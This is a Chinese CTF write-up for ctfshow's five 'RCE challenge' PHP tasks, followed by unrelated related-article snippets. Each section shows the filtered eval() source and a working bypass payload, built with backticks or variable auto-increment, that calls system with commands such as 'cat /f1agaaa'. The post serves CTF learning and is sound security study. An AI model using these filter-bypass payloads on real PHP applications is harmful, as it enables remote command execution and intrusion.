ctfshow--RCE极限挑战

news2024/12/24 8:44:37

本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE

RCE挑战1

属于简单类型

源码

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);

发现过滤了(.,我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sxlrpVYo-1668950575883)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145758514.png)]

输出flag

code=echo `cat /f1agaaa`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qVbdFFU-1668950575884)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145815342.png)]

RCE挑战2

比较简单的

打开题目 审计源码

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

我们跑一下 看看哪些字符没有被过滤

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}

结果:

  ! $ ' ( ) + , . / ; = [ ] _ 

可以考虑$_绕过!(自增绕过)

编写

$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__])  使用的时候url编码一下

传入

?_=system&__=ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZTt2a0Ps-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118161938354.png)]

找flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VisaQcTH-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118162003296.png)]

POST:
ctf_show=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%3D'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B

GET:
?_=system&__=cat /f*

RCE挑战3

限制字符的自增 对于我来说较难

源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
        if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

fuzz测试什么没有被过滤

for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
        echo chr($i);
    }
}

输出

 $()+,./01;=[]_

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN

构造的payload

$_=(_/_._)[0];$_0=++$_;$_0=++$_.$_0;++$_;++$_;$_0.=++$_;$_0.=++$_;$_=_.$_0;($$_[0])($$_[1]);

传入参数

POST:
ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0=system&1=cat /f1agaaa

RCE挑战4

源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
        if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

要求字符小于等于84

fuzz测试,可用字符

 $()+,./0;=[]_
  $()+,./;=[]_

构造

$_=(_/_._)[0];++$_;$__=$_.$_++;++$_;++$_;++$_;$__.=$_++.$_;$_=_.$__;$$_[_]($$_[0]);
// 分析一下
//1.(_/_._)[0]==N
//$__=$_.$_++; 此时的$_=O $_.$_++; 这个顺序是(实验得出来的):
	// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;

payload

ctf_show=%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

限制传入的参数长度小于等于73

fuzz测试哪些字符没有被过滤

for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
        echo chr($i);
    }
}

//  $()+,./;=[]_

构造payload

# 第一种  !!知识点!! 直接使用_POST当做参数
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
第一个参数:_POST 第二个参数:_
    # 借助ctfshow群里佬的payload tql

# 第二种
# 不可见字符替换  !!知识点!!
$_=(_/_._)[_];++$_;$a=$_.$_++;++$_;++$_;$_=_.$a.++$_.++$_;$$_[_]($$_[a]);
# 转为url后将a改为 %ff $fe 等不可见字符
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串

<?php
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/21099.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Arcgis使用教程(十一)ARCGIS地图制图之经纬网格设置参数详解

Arcgis地图制图中&#xff0c;经纬网格的添加详细参见&#xff1a; Arcgis使用教程&#xff08;十&#xff09;ARCGIS地图制图之经纬网格添加_空中旋转篮球的博客-CSDN博客 1.加载数据 在Arcmap中加载中国矢量图层数据&#xff08;中国省级行政区图&#xff0c;国界线两个图层…

善于使用二阶思维

事情往往不是你想象的那样&#xff0c;有时候&#xff0c;看似解决了问题&#xff0c;却在不经意间&#xff0c;引发了更严重的后果。帮助我们思考、决策、解决问题的最有效方法是&#xff0c;运用二阶思维。 什么是二阶思维&#xff1f; 一阶思维是单纯而肤浅的&#xff0c;几…

34.nacos客户端读取共享配置文件实例(springcloud)

其他配置环境和上文相同&#xff0c;本实例不再演示 https://blog.csdn.net/weixin_59334478/article/details/127953755?spm1001.2014.3001.5501https://blog.csdn.net/weixin_59334478/article/details/127953755?spm1001.2014.3001.55011.新建共享配置文件&#xff0c;使…

高NA (数值孔径)物镜的分析

高NA(数值孔径)物镜常用于光学显微及光刻&#xff0c;并已广泛在其他应用中得以使用。众所周知&#xff0c;在高数值孔径物镜的使用中&#xff0c;电磁场矢量特性的影响是不可忽略的。一个众所周知的例子就是由高NA(数值孔径)物镜聚焦线性偏振圆光束时&#xff0c;焦斑的不对称…

过控Matlab-实验法建立被控过程的数学模型(一)

太原理工大学过程控制实验之实验法建立被控过程的数学模型 过控Matlab实验法建立被控过程的数学模型实验内容1.利用MATLAB根据作图法建立系统的一阶惯性环节加纯迟延的近似数学模型。2.利用MATLAB根据计算法建立系统的一阶惯性环节加纯迟延的近似数学模型。3.利用MATLAB根据计算…

[附源码]计算机毕业设计JAVA基于JSP社区生鲜配送系统

[附源码]计算机毕业设计JAVA基于JSP社区生鲜配送系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM …

[附源码]java毕业设计网上手机商城

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

驱动开发基础

1、Hello驱动 我们应用程序使用open函数的时候&#xff0c;会调用内核的sys_open函数&#xff0c;然后接下来 1、然后打开普通文件的话会使用文件系统操作硬件&#xff0c; 2、要是打开驱动文件&#xff0c;会使用驱动程序对应的drv_open函数 怎么写驱动程序 我们驱动对应的d…

了解 Oracle 中的视图

一、概念 视图是基于一个或者多个表上的预定义查询&#xff0c;这些表称为基表&#xff0c;从视图中查询数据的方法与从基表中查询数据的方法相同。视图是一个查看数据的窗口&#xff0c;是查询语句模板&#xff0c;视图本身没有数据&#xff0c;在数据库中只保存了视图的定义…

[附源码]java毕业设计图书管理系统论文

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Unity界面介绍:场景视图

场景视图是创建游戏的主要场所。用户将使用场景视图来选择和定位环境物体&#xff0c;角色物体&#xff0c;摄像机&#xff0c;敌人角色等其它的游戏物体。熟悉和操作场景视图中的物体是创建游戏中的重要步骤。为此&#xff0c;Unity也提供了一些快捷键来提高操作效率。 场景视…

UVM实战笔记(六)

第六章. UVM中的sequence 6.1 sequence基础 6.1.1 从driver中剥离激励产生功能 sequence机制的作用是为了从driver中剥离出产生激励的功能。在不同的测试用例中&#xff0c;将不同的sequence设置成sequencer的main_phase的default_sequence。当sequencer执行到main_phase时&…

用cocos实现的立方体宣传查看页面

cocos进入3.x时代&#xff0c;我也努力跟进&#xff0c;实现了一个将页面映射到立方体上进行旋转查看的效果。 效果如下&#xff1a; 要点 为了这个效果&#xff0c;我主要实现了3个要点&#xff1a; 将页面准确映射到立方体上面&#xff0c;适配不同尺寸的手机屏幕。对页面…

C++初阶作业 Vector作业详解

作者&#xff1a;小萌新 专栏&#xff1a;C初阶作业 作者简介&#xff1a;大二学生 希望能和大家一起进步 本篇博客介绍&#xff1a;讲解vecotr学校布置的作业 弥补自己不足的知识点 Vector作业详解Vector的特性及使用题目一 迭代器失效编程一 只出现一次的数字编程二 杨辉三角…

aws eks 部署jupyterhub执行kubectl

资料 https://aws.amazon.com/cn/blogs/china/teach-you-how-to-handle-kubeflow-on-eks-2/https://hub.docker.com/r/jupyterhub/singleuser 在部署kubeflow的过程中意识到在jupyter中能够运行外部指令&#xff0c;如果在其中集成一个kubectl&#xff0c;就可以实现命令的重…

【PowerQuery】Excel 自动刷新PowerQuery连接

Excel集成的PowerQuery提供了数据的手动刷新功能之外,也提供了数据的自动刷新功能。需要注意的是,PowerQuery提供的自动刷新功能是针对连接的,也就是说在PowerQuery自动刷新功能不是全局刷新功能,而是针对连接本身提供。接下来我们来看一下如何实现PowerQuery连接的自动刷新…

封装vue插件并发布到npm详细步骤

前言 平常使用Vue开发时&#xff0c;一个项目中多个地方需要用到的相同组件通常我们会封装为一个公共组件&#xff0c;但是如果项目不同我们也需要这个组件&#xff0c;那就需要复制一份公共组件代码到新项目&#xff0c;一个还好&#xff0c;如果是多个组件&#xff0c;这样就…

Design Compiler工具学习笔记(2)

目录 引言 知识储备 设计 objects 库 objects 命令 对象和属性 实际操作 all_* all_inputs all_outputs all_registers 其他 remove_from_collection list 数组 查看环境变量 设置/取消环境变量 引言 本篇继续学习 DC的基本使用。本篇主要学习 design 和 libr…

spring authorization server 0.3.1 - 默认示例

spring authorization server 0.3.1 - 默认oidc开始1、default-authorizationserver项目1.1、AuthorizationServerConfig.java1.2、DefaultSecurityConfig.java1.3、Jwks.java1.4、KeyGeneratorUtils.java1.5、DefaultAuthorizationServer.java1.6、application.yml2、client项…

使用poi操作excel详解

使用poi操作excel详解1、POI工具介绍2、POI可操作的文件类型3、POI所需依赖4、xls和xlsx的区别5、POI Excel 写 03(xls)和07(xlsx)版本方式6、HSSF和XSSF写大文件的区别6.1、使用HSSF写大文件6.2、使用XSSF写大文件6.3、使用SXSS写大文件1、POI工具介绍 1.1、POI 是用Java编写…